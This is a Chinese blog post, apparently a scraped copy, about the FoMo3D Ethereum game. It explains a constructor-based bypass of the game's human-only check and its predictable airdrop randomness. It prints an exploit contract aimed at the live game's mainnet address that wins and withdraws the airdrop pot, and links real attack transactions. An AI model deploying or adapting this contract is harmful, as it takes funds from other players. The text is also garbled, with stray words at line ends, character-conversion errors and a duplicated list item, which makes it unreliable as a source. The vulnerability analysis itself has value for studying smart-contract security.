【FOMO3d】 的隱藏"彩(lou)蛋(dong)"

七月初推出的一款資金盤遊戲fomo3d,終於在十幾天後成功引爆了中國的鏈圈和幣圈。安全

遊戲規則介紹

在每一局遊戲的開始,玩家均可以用以太幣ETH來購買遊戲道具key,至關於往資金盤裏的投資。遊戲的倒計時爲24小時,每當有新人買入key時,遊戲就會自動延長30s,但網頁上的倒計時仍爲24小時。fomo3d主頁dom

截止發文,Time Purchased已經增加到了30+年,你們能夠自行計算有多少人買入了key。ide

最終這個資金盤的資金將會有7個流向:函數

  • 滾入下一輪遊戲
  • 本輪遊戲的獎金
  • P3D Token獎勵
  • 佣金獎勵
  • 社區基金
  • 社區基金
  • 空投
  • 系統運行成本

最後一個買key的人將會拿走資金盤中的48%的以太幣,做爲獎勵。看看首頁的數字,就能夠想見遊戲的瘋狂程度。測試

安全隱患

截至發稿,沒有重大安全漏洞披露,即管理者後門或者攻擊者直接能夠轉移合約內ETH的漏洞,可暫時視爲安全。不過仍是有一個小漏洞值得你們關注,即modifier對普通帳戶(外部帳戶)和合約帳戶的判斷。其初衷是好的,保證散戶玩家的公平性,可是因爲判斷邏輯的誤差直接致使了該方法失效。網站

下圖是從etherscan網站上合約地址中的代碼截圖:ui

fomo3d-isHuman

此修改器用於限制調用方法者只能是普通帳戶(沒法執行復雜的代碼,也沒法重入)。其中,經過判斷地址內的extcodesize是否爲0來判斷該地址是否爲普通帳戶。可是當合約正在執行構造函數並部署時,其extcodesize也爲0,也就是說合約徹底能夠經過在constructor中調用方法而繞過該判斷。this

攻擊的方向有了,下面就剩下從哪裏下手了。spa

這時咱們注意到空投邏輯:3d

/**
* @dev generates a random number between 0-99 and checks to see if thats
* resulted in an airdrop win
* @return do we have a winner?
*/
function airdrop()
private
view
returns(bool)
{
  uint256 seed = uint256(keccak256(abi.encodePacked(
  (block.timestamp).add
  (block.difficulty).add
  ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
  (block.gaslimit).add
  ((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
  (block.number)
  )));

  if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
    return(true);
  else
    return(false);
}

你們能夠看到,與其說是隨機數,不如說是基於鏈狀態的僞隨機數。此時,咱們能夠不斷地部署合約並在合約的constructor中計算隨機數的值,一旦發現有利可圖,就能夠調用FOMO3d合約中的相應方法。

接下來,咱們瀏覽完整的代碼,找到airdrop()在哪裏被使用,咱們就能夠發現:

  • 只要玩家投入超過0.1-1ETH,就有機會能夠贏得空投獎池的25%;
  • 投入1-10ETH,有機會贏得空頭獎池的50%;
  • 投入10+ETH,則有機會贏得空投獎池的75%;

上面提到的有機會,就是指上面的僞隨機數的計算符合要求。

到這裏,最後一塊拼圖也補齊了。咱們能夠創造一個智能合約,經過計算隨機數,就能夠100%得到空投。咱們給出了一個代碼範例以下圖(友情提醒:下面的代碼未經測試,是僅表示思路的「僞代碼」,並不保證功能上的成功):

pragma solidity ^0.4.24;

interface FoMo3DlongInterface {
  function airDropTracker_() external returns (uint256);
  function airDropPot_() external returns (uint256);
  function withdraw() external;
}

contract PwnFoMo3D {
  constructor() public payable {
    // Link up the fomo3d contract and ensure this whole thing is worth it
    FoMo3DlongInterface fomo3d = FoMo3DlongInterface(0xA62142888ABa8370742bE823c1782D17A0389Da1);
    if (fomo3d.airDropPot_() < 0.4 ether) {
      revert();
    }
    // Calculate whether this transaction would produce an airdrop. Take the
    // "random" number generator from the FoMo3D contract.
    uint256 seed = uint256(keccak256(abi.encodePacked(
      (block.timestamp) +
      (block.difficulty) +
      ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)) +
      (block.gaslimit) +
      ((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)) +
      (block.number)
    )));

    uint256 tracker = fomo3d.airDropTracker_();
    if((seed - ((seed / 1000) * 1000)) >= tracker) {
      revert();
    }
    // Ok, seems we can win the airdrop, pwn the contract
    address(fomo3d).call.value(0.1 ether)();
    fomo3d.withdraw();
    selfdestruct(msg.sender);
  }
}

再次提醒,上面的代碼未經測試。由於每次調用airdrop都意味着咱們必須損失0.1個以太幣,僅當你確保你的空投獎勵大於0.1以太幣時,上述方法才值得嘗試。也就是說只有空投獎池總共須要大於0.4以太幣。已經有人嘗試空投攻擊2天了:

https://etherscan.io/txs?a=0x...

https://etherscan.io/tx/0x86c...

經過瀏覽其中一筆成功的交易咱們能夠看到,攻擊者的代碼更加複雜:他們嘗試經過部署新合約來得到超額的空投獎勵,可是當隨機數計算不經過時,選擇迭代建立合約直到有一個成功的,而不是選擇使用revert()

關於該漏洞的團隊迴應

對此,團隊自己的態度很隨意, 表示一切盡在預料以內。並解釋airdrops只是獨立的很是小的獎金池,攻擊也無傷大雅。(此條推特貌似已刪除)

fomo3d_teamjust

FOMO3d VS ethereum foundation

自從fomo3d大火以後,該團隊一直嘗試在twitter上呼叫V神,以發現且公開EVM諸多重大漏洞爲要挾呼叫V神正面迴應:

fomo3d_to_v1

,並插播各類戰果炫耀圖(參加人數、集資速度和量級、形成以太坊堵塞程度歷史罕見等)。從一開始的殷切呼喚,到始終沒有獲得V神正面回覆以後表演失望。

fomo3d_to_eth2

此間,以太坊的team leader - peter卻是有過迴應,表示這並非漏洞,這些現象/行爲都是文檔裏提到過的,不要想着用這種大衆敏感詞吸引注意力。想蹭V神熱度的話,請報點猛料好麼。

以太peter

參考連接:

https://www.reddit.com/r/ethe...

最後,不知道你們對這個「龐氏遊戲」有什麼本身的見解,能夠盡情留言。

相關文章
相關標籤/搜索